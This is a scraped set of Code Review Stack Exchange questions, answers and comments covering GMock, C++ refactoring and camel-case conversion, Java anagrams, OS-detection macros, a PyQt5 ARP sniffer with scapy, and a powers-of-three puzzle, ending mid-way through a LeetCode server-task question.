"CreationDate": "2021-07-06T08:07:36.580",
"Id": "520877",
"Score": "0",
"body": "The problem is, GMock doesn't work this way. When two or more EXPECT_CALLs apply to the same method, only the last one is actually used, which means that they have to be combined. It also means that any pulling of common code in common functions could be tricky: I could miss the fact that an EXPECT_CALL occurs in multiple of such functions."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T23:32:56.963",
"Id": "520946",
"Score": "1",
"body": "My impression is that `InSequence` modifies those rules; see e.g. https://stackoverflow.com/questions/52765902/gmock-insequence-vs-retiresonsaturation . I admit I haven't tested my suggestion... but did *you* test it? :)"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T01:15:43.507",
"Id": "263792",
"ParentId": "263736",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "263792",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T22:29:40.517",
"Id": "263736",
"Score": "1",
"Tags": [
"c++",
"unit-testing",
"mocks"
],
"Title": "How to make the initialization of the mocks more readable?"
}
|
263736
|
<p>this is some function:</p>
<pre><code>RequestResult MenuRequestHandler::joinRoom(RequestInfo requestInfo)
{
RequestResult requestResult;
JoinRoomRequest joinRoomReq;
joinRoomReq = JsonRequestPacketDeserializer::deserializeJoinRoomRequest(requestInfo.buffer);
JoinRoomResponse joinRoomRes;
if (this->m_roomManager.isRoomExists(joinRoomReq.roomId) &&
!this->m_roomManager.getRoomState(joinRoomReq.roomId) &&
!this->m_roomManager.isRoomFull(joinRoomReq.roomId))
{
joinRoomRes.status = 1;
this->m_roomManager.addUserToRoom(this->m_user, joinRoomReq.roomId);
try {
requestResult.newHandler = m_handlerFactory->createRoomMemberRequestHandler(m_user, this->m_roomManager.getRoomDataById(joinRoomReq.roomId));
}
catch (MyException& e) {
Log(e.what());
// *this*
joinRoomRes.status = 0;
// *and this*
requestResult.newHandler = nullptr;
}
}
else {
// *appear here*
joinRoomRes.status = 0;
// *and here*
requestResult.newHandler = nullptr;
}
requestResult.buffer = JsonResponsePacketSerializer::serializeResponse(joinRoomRes);
return requestResult;
}
</code></pre>
<p>i want to remove the duplicated code but i can't figure out a way to do it.
it tried another way but that's another duplicated code, like this:</p>
<pre><code>RequestResult MenuRequestHandler::joinRoom(RequestInfo requestInfo)
{
RequestResult requestResult;
JoinRoomRequest joinRoomReq;
joinRoomReq = JsonRequestPacketDeserializer::deserializeJoinRoomRequest(requestInfo.buffer);
JoinRoomResponse joinRoomRes;
if (this->m_roomManager.isRoomExists(joinRoomReq.roomId) &&
!this->m_roomManager.getRoomState(joinRoomReq.roomId) &&
!this->m_roomManager.isRoomFull(joinRoomReq.roomId))
{
joinRoomRes.status = 1;
this->m_roomManager.addUserToRoom(this->m_user, joinRoomReq.roomId);
try {
requestResult.newHandler = m_handlerFactory->createRoomMemberRequestHandler(m_user, this->m_roomManager.getRoomDataById(joinRoomReq.roomId));
// *this below*
requestResult.buffer = JsonResponsePacketSerializer::serializeResponse(joinRoomRes);
return requestResult;
}
catch (MyException& e) {
Log(e.what());
}
}
joinRoomRes.status = 0;
requestResult.newHandler = nullptr;
// *appear here below*
requestResult.buffer = JsonResponsePacketSerializer::serializeResponse(joinRoomRes);
return requestResult;
}
<span class="math-container">```</span>
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T23:55:54.747",
"Id": "520743",
"Score": "2",
"body": "Please pick one version you'd like to be reviewed. It would also help if you posted the rest of your program, even if that means you need to post a couple files."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T06:03:55.573",
"Id": "520754",
"Score": "4",
"body": "We need to know *what the code is intended to achieve*. To help reviewers give you better answers, please add sufficient context to your question, including a title that summarises the *purpose* of the code. We want to know **why** much more than **how**. The more you tell us about [what your code is for](//meta.codereview.stackexchange.com/q/1226), the easier it will be for reviewers to help you. The title needs an [edit] to simply [**state the task**](//meta.codereview.stackexchange.com/q/2436), rather than your concerns about the code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T09:49:38.093",
"Id": "520765",
"Score": "0",
"body": "@TobySpeight can you give me an example of title you shouldn't do as you mentioned and what to do ?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T10:31:15.740",
"Id": "520769",
"Score": "2",
"body": "@TiZ_Crocodile please see the help center page [_How do I ask a good question?_](https://codereview.stackexchange.com/help/how-to-ask). It includes some examples of generic titles to avoid, as well as examples of **Some typical titles**."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T23:00:11.363",
"Id": "263737",
"Score": "1",
"Tags": [
"c++"
],
"Title": "How can I remove the duplicated code in this code?"
}
|
263737
|
<pre><code>import java.io.* ;
import java.util.* ;
public static void main(String[] args) {
Scanner input = new Scanner(System.in);
String str1 = input.nextLine().toLowerCase();
String str2 = input.nextLine().toLowerCase();
char[] temp = str1.toCharArray(); Arrays.sort(temp);
str1 = new String(temp);
temp = str2.toCharArray(); Arrays.sort(temp);
str2 = new String(temp);
if(str1.equals(str2) == true) System.out.println("Anagrams");
else System.out.println("Not Anagrams");
}
</code></pre>
<p>The above code has passed all the test cases, i thought to explore the code for a better approach.</p>
<p>But as it takes longer time and converting to charSequence, sorting and all. Is there any better approach to solve it?</p>
<p>Thank you.</p>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-01T16:31:39.777",
"Id": "263738",
"Score": "0",
"Tags": [
"java"
],
"Title": "Any efficient way to solve anagrams?"
}
|
263738
|
<p>I was able to make an implementation to detect the OS.
I'm not sure if it works the way it should, so I asked this question</p>
<p><strong>TargetOS.hpp</strong></p>
<pre class="lang-cpp prettyprint-override"><code>#ifndef TARGET_OS_HPP
#define TARGET_OS_HPP
#if defined(__unix__) \
|| defined(linux) \
|| defined(__unix) \
|| defined(__linux__) \
|| defined(__APPLE__) \
|| defined(__MACH__) \
|| defined(__ANDROID__) \
|| defined(__MINGW32__) \
|| defined(__MINGW64__) \
|| defined(__GNUC__) \
|| defined(__CYGWIN__) \
|| defined(__CYGWIN32__)
#define SPM_UNIX_
#elif defined(WIN32) \
|| defined(_WIN32) \
|| defined(_WIN64) \
|| defined(__NT__) \
&& !defined(__MINGW32__) && !defined(__MINGW64__) \
&& !defined(__CYGWIN__) && !defined(__CYGWIN32__)
#define SPM_WINDOWS_
#else
#define SPM_UP_ // UP - unknown platform.
#endif
#if defined(__MINGW32__) || defined(__MINGW64__)
#define SPM_MINGW_
#elif defined(__CYGWIN__) || defined(__CYGWIN32__)
#define SPM_CYGWIN
#elif defined(__ANDROID__)
#define SPM_ANDROID_
#elif defined(__APPLE__) || defined(__MACH__) // From https://github.com/mstg/iOS-full-sdk/blob/master/iPhoneOS9.3.sdk/usr/include/TargetConditionals.h
#include <TargetConditionals.h>
#if defined(TARGET_OS_MAC) // - Generated code will run under Mac OS X variant
#if defined(TARGET_OS_IPHONE) // - Generated code for firmware, devices, or simulator
#if defined(TARGET_OS_IOS_) \
|| defined(TARGET_OS_WATCH) \
|| defined(TARGET_OS_TV)
#define SPM_MAC_IWT // IWT - IOS, WATCH, TV
#endif
#elif defined(TARGET_OS_SIMULATOR) // - Generated code will run under a simulator
#define SPM_MAC_IWT_SIMULATOR
#elif defined(TARGET_IPHONE_SIMULATOR) // - DEPRECATED: Same as TARGET_OS_SIMULATOR
#define SPM_MAC_IWT_SIMULATOR
#elif defined(TARGET_OS_NANO) // DEPRECATED: Same as TARGET_OS_WATCH
#define SPM_MAC_IWT
#else
#error "Unknown Mac Platform"
#endif
#endif // defined(TARGET_OS_MAC)
#endif // defined(__APPLE__) || defined(__MACH__)
#endif // TARGET_OS_HPP
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T17:00:11.147",
"Id": "520792",
"Score": "2",
"body": "Welcome to the Code Review Community. We review working code. The statement `I'm not sure if it works the way it should, so I asked this question.` could make this question off-topic for this site. Have you tested the code and does it seem to work as expected? Please read [How do I ask a good question](I'm not sure if it works the way it should, so I asked this question)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T19:26:19.310",
"Id": "520800",
"Score": "2",
"body": "There's at least one syntax eror in the code (the continuation of `#elif defined(WIN32)` is missing). Please [edit] your question to make sure that your code works."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T00:01:42.037",
"Id": "520812",
"Score": "0",
"body": "@pacmaninbw this is standard Mac file."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T00:31:00.670",
"Id": "520813",
"Score": "0",
"body": "This shouldn't be accepted by a compiler, because escaped newlines are removed (line splicing) before comments are removed (by replacing by a space)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T02:06:05.490",
"Id": "520816",
"Score": "0",
"body": "@1201ProgramAlarm Thanks."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T02:08:10.010",
"Id": "520817",
"Score": "0",
"body": "@pacmaninbw I am on Linix, and I haven't got Windows and Mac. I am new to c ++ and not sure if this works correctly on other platforms, so I ask for a review from other, more experienced developers"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T12:34:26.987",
"Id": "520834",
"Score": "1",
"body": "After the edit this question is on topic. It has been tested to the best of the posters ability to test."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T13:56:23.463",
"Id": "520839",
"Score": "0",
"body": "@pacmaninbw Okay, thanks."
}
] |
[
{
"body": "<p>Because you test for <code>SPM_UNIX_</code> first.</p>\n<p>That test includes test for the value of:</p>\n<pre><code> || defined(__MINGW32__) \\\n || defined(__MINGW64__) \\\n || defined(__CYGWIN__) \\\n || defined(__CYGWIN32__)\n</code></pre>\n<p>If any of these are true then you have a SPM_UNIX</p>\n<p>Which means that these tests:</p>\n<pre><code> && !defined(__MINGW32__) && !defined(__MINGW64__) \\\n && !defined(__CYGWIN__) && !defined(__CYGWIN32__)\n</code></pre>\n<p>Are superfluous as this will never be reached if any of the above is true.</p>\n<p>In:</p>\n<pre><code>#if defined(__unix__) \\\n || defined(linux) \\\n || defined(__unix) \\\n || defined(__linux__) \\\n || defined(__APPLE__) \\\n || defined(__MACH__) \\\n || defined(__ANDROID__) \\\n || defined(__MINGW32__) \\\n || defined(__MINGW64__) \\\n || defined(__GNUC__) \\\n || defined(__CYGWIN__) \\\n || defined(__CYGWIN32__)\n #define SPM_UNIX_\n#elif defined(WIN32) \\\n || defined(_WIN32) \\\n || defined(_WIN64) \\\n || defined(__NT__) \\\n && !defined(__MINGW32__) && !defined(__MINGW64__) \\\n && !defined(__CYGWIN__) && !defined(__CYGWIN32__)\n #define SPM_WINDOWS_\n\n#else\n #define SPM_UP_ // UP - unknown platform.\n#endif\n</code></pre>\n<hr />\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T18:15:48.887",
"Id": "263934",
"ParentId": "263740",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "263934",
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T01:49:42.420",
"Id": "263740",
"Score": "1",
"Tags": [
"c++",
"c"
],
"Title": "Target OS implementation"
}
|
263740
|
<p>I'm new in python and I want to know the way to improve this code with best practices.</p>
<p>I'm using PyQT5 to create new thread
In that thread I'm using scapy to sniff traffic and filter ARP traffic to find devices which are broadcasting the network.</p>
<p>In the complete code I'm filtering IP traffic too, but now I'm working on threads in order that GUI doesn't get freeze.</p>
<p>Here the code:</p>
<pre><code>from PyQt5 import QtGui
from PyQt5.QtWidgets import * # QApplication, QDialog, QProgressBar, QPushButton, QVBoxLayout
import sys
from PyQt5.QtCore import Qt, QThread, pyqtSignal, QRect
from scapy.all import sniff, getmacbyip, ARP, get_if_addr, sr
from time import time, sleep
def scan_network(ProgressBar, sec):
dict_scan = {}
start_time = time()
print (dict_scan)
def packet_deploy(change_value: pyqtSignal, start_time: float, dict_scan: dict, sec: int):
def upload_packet(packet):
if packet.haslayer("ARP"):
# upload packet, using passed arguments
dict_scan[(packet[ARP].hwsrc).replace(":", "").upper()] = packet[ARP].psrc
LoadingBar(change_value, start_time, sec)
return upload_packet
def LoadingBar(change_value, start_time, sec):
ellapsed = int(((time() - start_time)*100) / sec)
change_value.emit(ellapsed)
class MyThread(QThread):
def __init__(self, myvar, parent = None):
super(MyThread,self).__init__(parent)
self.myvar = myvar[0]
change_value = pyqtSignal(int)
def run(self):
seconds = self.myvar.txt_From.toPlainText()
print (seconds)
sec = 10
dict_scan = {}
start_time = time()
sniff(prn=packet_deploy(self.change_value, start_time, dict_scan, sec), timeout = (sec), store=0)
print (dict_scan)
class Window(QDialog):
def __init__(self):
super().__init__()
self.title = "PyQt5 ProgressBar"
self.top = 200
self.left = 500
self.width = 300
self.height = 200
self.setWindowIcon(QtGui.QIcon("icon.png"))
self.setWindowTitle(self.title)
self.setGeometry(self.left, self.top, self.width, self.height)
vbox = QVBoxLayout()
self.progressbar = QProgressBar()
self.progressbar.setMaximum(100)
self.progressbar.setStyleSheet("QProgressBar {border: 2px solid grey;border-radius:8px;padding:1px}"
"QProgressBar::chunk {background:yellow}")
vbox.addWidget(self.progressbar)
self.button = QPushButton("Start Progressbar")
self.button.clicked.connect(self.startProgressBar)
self.button.setStyleSheet('background-color:yellow')
self.txt_From = QTextEdit()
self.txt_From.setObjectName(u"txt_From")
self.txt_From.setGeometry(QRect(0, 0, 151, 21))
vbox.addWidget(self.txt_From)
vbox.addWidget(self.button)
self.setLayout(vbox)
self.show()
def startProgressBar(self):
self.thread = MyThread(myvar=[self])
self.thread.change_value.connect(self.setProgressVal)
self.thread.start()
def setProgressVal(self, val):
self.progressbar.setValue(val)
App = QApplication(sys.argv)
window = Window()
sys.exit(App.exec())
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T13:02:36.963",
"Id": "520778",
"Score": "0",
"body": "Welcome to the Code Review Community. The title of the question should indicate what the code does not what your concerns about the code are. Please read [How do I ask a good question](https://codereview.stackexchange.com/help/how-to-ask). As part of a good code review we will sometimes mention best practices, but asking specifically about best practices will sometimes be considered off-topic. I do hope you get some good answers."
}
] |
[
{
"body": "<p>If your GUI is freezing then you are working your CPU or Memory too much.</p>\n<p>I don't know intended usage of the App, but it might be worth considering splitting this script into two:</p>\n<ol>\n<li>First script will collect data.</li>\n<li>Second script will displays data.</li>\n</ol>\n<p>Data collection can be handled in a separate thread or run on a specific core. Data can also be written into a file or some other data store. The display script will only focus on reading & displaying data and will have sufficient resources not to lag.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T21:09:06.557",
"Id": "521005",
"Score": "0",
"body": "In this case I find the solution, it was a thread problem.\nWhen you work with PyQT5 you need to use qthread to avoid GUI freezing"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T21:09:52.737",
"Id": "263760",
"ParentId": "263742",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T07:01:25.370",
"Id": "263742",
"Score": "0",
"Tags": [
"python",
"multithreading",
"pyqt"
],
"Title": "Python best practices to impletent QThread, progressbar (pyqt5) and sniffer (scapy)"
}
|
263742
|
<p>I'm solving this <a href="https://www.prepbytes.com/panel/mycourses/125-days-expert-coder-program/python/week/1/logic-building/codingAssignment/DISNUM" rel="nofollow noreferrer">challenge</a>:</p>
<blockquote>
<p>Given a positive integer number, you have to find the smallest <em>good</em> number greater than or equal to the given number.
The positive integer is called <em>good</em> if it can be represented as a sum of distinct powers of 3 (i.e. no duplicates of powers of 3 are allowed).</p>
</blockquote>
<p>The code passes all the test cases in the editor, but when submitted to online judge it is failing because of time limit exceeded.
Give time limit 1 second, my code execution is taking 1.01 second</p>
<hr />
<pre><code>t = int(input())
while t > 0:
N = int(input())
i=N
while i > 0:
if i % 3 == 2:
N=N+1
i=N
continue
i //= 3
print(N)
t = t - 1
</code></pre>
<hr />
<h3>Test Case</h3>
<p>Input:</p>
<pre class="lang-none prettyprint-override"><code>5
3
46
65
89
113
</code></pre>
<p>Output:</p>
<pre class="lang-none prettyprint-override"><code>3
81
81
90
117
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T03:54:41.183",
"Id": "520818",
"Score": "0",
"body": "Your test case output is missing the output from $5$. It should be $9$, I believe."
}
] |
[
{
"body": "<p>The best approach would be to use ternary numbers, at least at development. Number that's representable as a sum of power of 3 in ternary would consist of 0's and 1's only. So:</p>\n<p>repeat:</p>\n<ul>\n<li>convert the number to ternary;</li>\n<li>if there's no 2's in it - return it;</li>\n<li>if there're 2's - find the leftmost 2, change all digits starting with it into 0 and add 1 to the next digit to the left.</li>\n</ul>\n<p>I think it can be done in one pass of conversion into ternary.</p>\n<p>Update: here's my code, it's <span class=\"math-container\">\\$O(log(n))\\$</span> (yours is <span class=\"math-container\">\\$O(nlog(n))\\$</span>):</p>\n<pre><code>def find_distinct_pow3(number):\n result = 0 \n power = 1\n while number:\n number, digit = divmod(number, 3)\n if digit<2:\n result += power*digit #just copying the digit into the result\n else:\n result = 0 #discarding current result (after the digit 2)\n number += 1 #increasing the digit before 2\n power *= 3\n return result\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T23:00:52.657",
"Id": "520810",
"Score": "0",
"body": "execution time 0.02 sec,thanks"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T10:58:29.877",
"Id": "263747",
"ParentId": "263745",
"Score": "8"
}
}
] |
{
"AcceptedAnswerId": "263747",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T08:32:09.383",
"Id": "263745",
"Score": "4",
"Tags": [
"python",
"python-3.x",
"programming-challenge",
"time-limit-exceeded"
],
"Title": "Find next smallest number that's representable as a sum of distinct powers of 3"
}
|
263745
|
<p>Sorry for my poor English. I want to decouple receiving data and processing data, this is the <a href="https://godbolt.org/z/sE8f4qWjh" rel="nofollow noreferrer">demo code</a>:</p>
<pre><code>#include<memory>
#include<iostream>
#include<functional>
using message_handler=std::function<void(const std::string&)>;
class Session: public std::enable_shared_from_this<Session>
{
class PacketProc
{
public:
void SetOnMsgProc(const message_handler &&on_msg_func)
{
this->inner_on_msg_func = on_msg_func;
}
void ProcRcved(const std::string &str)
{
if(inner_on_msg_func)
{
inner_on_msg_func(str);
}
}
private:
message_handler inner_on_msg_func;
};
public:
~Session()
{
std::cout << "~Session()" << std::endl;
}
void Init(void)
{
std::weak_ptr<Session> weak=shared_from_this();
packet_proc.SetOnMsgProc([weak](const std::string & str){
auto shared = weak.lock();
if(shared && shared->outter_on_msg_func)
{
shared->outter_on_msg_func(str);
}
});
outter_on_msg_func= [](const std::string & str)
{
std::cout << "recieved:" << str << std::endl;
};
}
void Proc(void)
{
std::string str = read();
packet_proc.ProcRcved(str);
}
std::string read(void)
{
return std::string("this is a test");
}
private:
PacketProc packet_proc;
message_handler outter_on_msg_func;
};
int main()
{
std::shared_ptr<Session> pSession= std::make_shared<Session>();
pSession->Init();
pSession->Proc();
}
</code></pre>
<p>Any suggestion and advice is welcome.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T13:33:45.360",
"Id": "520782",
"Score": "2",
"body": "Please do not edit the question, especially the code after an answer has been posted. Everyone needs to be able to see what the reviewer was referring to. [What to do after the question has been answered](https://codereview.stackexchange.com/help/someone-answers)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T13:36:01.057",
"Id": "520783",
"Score": "0",
"body": "Sorry, I am new to code review."
}
] |
[
{
"body": "<p>The declaration for the class <code>PacketProc</code> should be indented, right now the code is hard to read.</p>\n<pre><code>class Session : public std::enable_shared_from_this<Session>\n{\n class PacketProc\n {\n public:\n void SetOnMsgProc(const message_handler&& on_msg_func)\n {\n this->inner_on_msg_func = on_msg_func;\n }\n\n void ProcRcved(const std::string& str)\n {\n if (inner_on_msg_func)\n {\n inner_on_msg_func(str);\n }\n }\n\n private:\n message_handler inner_on_msg_func;\n };\n\npublic:\n ~Session()\n {\n std::cout << "~Session()" << std::endl;\n }\n\n ...\n};\n</code></pre>\n<p>If the class <code>PacketProc</code> is supposed to be reusable then it should be declared outside the class <code>Session</code>, right now it can only be accessed through the <code>Session</code> class.</p>\n<p>To follow best practices, operators such as <code>=</code> should have blank spaces on both sides:</p>\n<pre><code>using message_handler = std::function<void(const std::string&)>;\n</code></pre>\n<p>That would also improve the readability of the code.</p>\n<p>Using the <code>this</code> pointer really shouldn't be necessary in this code:</p>\n<pre><code> void SetOnMsgProc(const message_handler&& on_msg_func)\n {\n inner_on_msg_func = on_msg_func;\n }\n</code></pre>\n<p>Inside a class it generally isn't necessary to use the <code>this</code> pointer, it is the default. The only time this isn't true is is if an identifier has 2 possible uses within the same scope of the code, such as if <code>inner_on_msg_func</code> was defined as a global in the <code>Session</code> class and a local in the <code>PacketProc</code> class.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T13:24:51.037",
"Id": "520780",
"Score": "0",
"body": "\"Using the this pointer really shouldn't be necessary in this code.\"? I can't catch up. Could you please explain that in more detail?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T13:32:12.440",
"Id": "520781",
"Score": "0",
"body": "@John The answer is updated."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-08-22T04:22:06.097",
"Id": "526025",
"Score": "0",
"body": "The lambda captures a weak pointer (for Session) in Session::SetOnMsgProc(). Do you think it is redundant? Is there any potential problem that I should be aware of?"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T13:18:41.817",
"Id": "263751",
"ParentId": "263748",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T11:48:35.577",
"Id": "263748",
"Score": "2",
"Tags": [
"c++",
"c++11",
"pointers"
],
"Title": "Decoupling receiving data and processing data by passing callback and shared_ptr"
}
|
263748
|
<p>I did this kata from codewars:</p>
<blockquote>
<p>Complete the method/function so that it converts dash/underscore delimited words into camel casing. The first word within the output should be capitalized only if the original word was capitalized (known as Upper Camel Case, also often referred to as Pascal case).</p>
<p>Examples:
"the-stealth-warrior" gets converted to "theStealthWarrior"
"The_Stealth_Warrior" gets converted to "TheStealthWarrior"</p>
</blockquote>
<p>I went through the answers after submitting my piece and all of them look longer than mine in code, and I wonder if they are more efficient.</p>
<pre><code>std::string to_camel_case(std::string text) {
for (auto it = text.begin(); it != text.end(); it++)
{
if (*it == '-' || *it == '_')
{
it = text.erase(it);
*it = toupper(*it);
}
}
return text;
}
</code></pre>
<p>It matches the outputs. Is there anything wrong with what I did when it comes to C++ standards or good practice? In which ways could this code be improved?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T06:05:43.310",
"Id": "520779",
"Score": "1",
"body": "What if there is a `-` or `_` at the end of the string, or before a space?"
}
] |
[
{
"body": "<p>This is unnecessarily slow in at least a couple of different ways.</p>\n<ol>\n<li>Your algorithm is O(N²), but there are easy O(N) algorithms.</li>\n<li>You copy the input string unnecessarily. You could easily pass it by reference.</li>\n</ol>\n<p>It's O(N²) because easy time you encounter a <code>-</code> or <code>_</code>, you copy the entire rest of the string to delete that one element. You can (for one example) just keep track of a "source" position and a "destination" position, copying elements from source to destination, skipping the ones you don't want, and capitalizing as needed. Then when you've copied all you need, you can eliminate all the ones you no longer need at once (all from the end, so you don't need to copy others after them).</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T21:27:42.473",
"Id": "521006",
"Score": "0",
"body": "He's passing the string by value because he changes it and returns the changed version. Passing by reference would also mean changing the function to modify the original in place, which is a different definition. Since the string is copied anyway (anything after the first snake must be copied) I don't think that would save much, unless you expect a lot of strings that don't need any change."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T05:48:50.560",
"Id": "263750",
"ParentId": "263749",
"Score": "4"
}
},
{
"body": "<p>Expanding on Jerry's answer. You have:</p>\n<pre><code>std::string to_camel_case(std::string text) {\n for (auto it = text.begin(); it != text.end(); it++)\n {\n if (*it == '-' || *it == '_')\n {\n it = text.erase(it); // This line has a hidden loop.\n // You are basically looping over\n // the whole string and moving all\n // the characters down one place.\n *it = toupper(*it);\n }\n }\n return text;\n}\n</code></pre>\n<p>You want to re-write this removing the extra loop:</p>\n<pre><code>std::string to_camel_case(std::string text) {\n\n static const std::function<char(unsigned char)> converter[2] = {\n [](unsigned char x){return x;},\n [](unsigned char x){return std::toupper(x);}\n };\n\n std::size_t removedChars = 0;\n bool convert = false;\n for (auto loop = 0u; loop < text.size(); ++loop)\n {\n if (text[loop] == '-' || text[loop] == '_')\n {\n ++removedChars;\n convert = true;\n continue;\n }\n text[loop - removedChars] = converter[convert](text[loop]);\n convert = false;\n }\n text.resize(text.size() - removedChars);\n return text;\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T16:56:07.230",
"Id": "263757",
"ParentId": "263749",
"Score": "2"
}
},
{
"body": "<p>You can do it in a single pass, resulting in an <span class=\"math-container\">\\$O(n)\\$</span> algorithm instead of your current <span class=\"math-container\">\\$O(n²)\\$</span> algorithm. The idea is to process the input in order, immediately adding to the output as appropriate.</p>\n<p>There is a reason to accept the argument by value, and that is avoiding allocations. If an allocation is needed, the caller can do it.</p>\n<p>Currently, you pass a raw <code>char</code> to <code>std::toupper()</code>. Unfortunately, that function expects the value of an <code>unsigned char</code> or <code>EOF</code> (which is <code>-1</code>) passed as an <code>int</code>. Anything out of range causes <em>Undefined Behavior</em>.</p>\n<p>Using manual iterator-handling when a range-based <code>for</code> loop fits is cumbersome and error-prone.</p>\n<p>Currently, if you have an even number of <code>-</code> and <code>_</code> following each other, you miss out on upper-casing the following character.</p>\n<p>Also, if the string ends with an odd number of <code>-</code> and <code>_</code>, you mistakenly append a <code>'\\0'</code>.</p>\n<pre><code>constexpr std::string to_camel_case(std::string s) noexcept {\n bool tail = false;\n std::size_t n = 0;\n for (unsigned char c : s) {\n if (c == '-' || c == '_') {\n tail = false;\n } else if (tail) {\n s[n++] = c;\n } else {\n tail = true;\n s[n++] = std::toupper(c);\n }\n }\n s.resize(n);\n return s;\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T21:34:02.497",
"Id": "263761",
"ParentId": "263749",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "263750",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T05:40:35.650",
"Id": "263749",
"Score": "1",
"Tags": [
"c++"
],
"Title": "Codewars Kata: Converting snake_case identifiers to CamelCase in C++"
}
|
263749
|
<p>A problem from leetcode:
<a href="https://leetcode.com/problems/process-tasks-using-servers" rel="nofollow noreferrer">https://leetcode.com/problems/process-tasks-using-servers</a>.
I had a simple solution for it, that's using min heap to store all servers and dictionary to check whether there're free servers at a time. But it cannot pass all testcases (26/36).
Could anyone help to point out my faults?</p>
<p>Problem:</p>
<h2></h2>
<p>You are given two 0-indexed integer arrays servers and tasks of lengths n and m respectively. servers[i] is the weight of the ith server, and tasks[j] is the time needed to process the jth task in seconds.</p>
<p>Tasks are assigned to the servers using a task queue. Initially, all servers are free, and the queue is empty.</p>
<p>At second j, the jth task is inserted into the queue (starting with the 0th task being inserted at second 0). As long as there are free servers and the queue is not empty, the task in the front of the queue will be assigned to a free server with the smallest weight, and in case of a tie, it is assigned to a free server with the smallest index.</p>
<p>If there are no free servers and the queue is not empty, we wait until a server becomes free and immediately assign the next task. If multiple servers become free at the same time, then multiple tasks from the queue will be assigned in order of insertion following the weight and index priorities above.</p>
<p>A server that is assigned task j at second t will be free again at second t + tasks[j].</p>
<p>Build an array ans of length m, where ans[j] is the index of the server the jth task will be assigned to.</p>
<p>Return the array ans.</p>
<p>Example 1:</p>
<p>Input: servers = [3,3,2], tasks = [1,2,3,2,1,2]
Output: [2,2,0,2,1,2]
Explanation: Events in chronological order go as follows:</p>
<ul>
<li>At second 0, task 0 is added and processed using server 2 until second 1.</li>
<li>At second 1, server 2 becomes free. Task 1 is added and processed using server 2 until second 3.</li>
<li>At second 2, task 2 is added and processed using server 0 until second 5.</li>
<li>At second 3, server 2 becomes free. Task 3 is added and processed using server 2 until second 5.</li>
<li>At second 4, task 4 is added and processed using server 1 until second 5.</li>
<li>At second 5, all servers become free. Task 5 is added and processed using server 2 until second 7.</li>
</ul>
<h2></h2>
<pre><code>from heapq import *
class Solution:
def assignTasks(self, servers: List[int], tasks: List[int]) -> List[int]:
h = []
N = len(servers)
M = len(tasks)
freeDic = {}
res = []
for i in range(N):
heappush(h, (servers[i], i))
time = 0
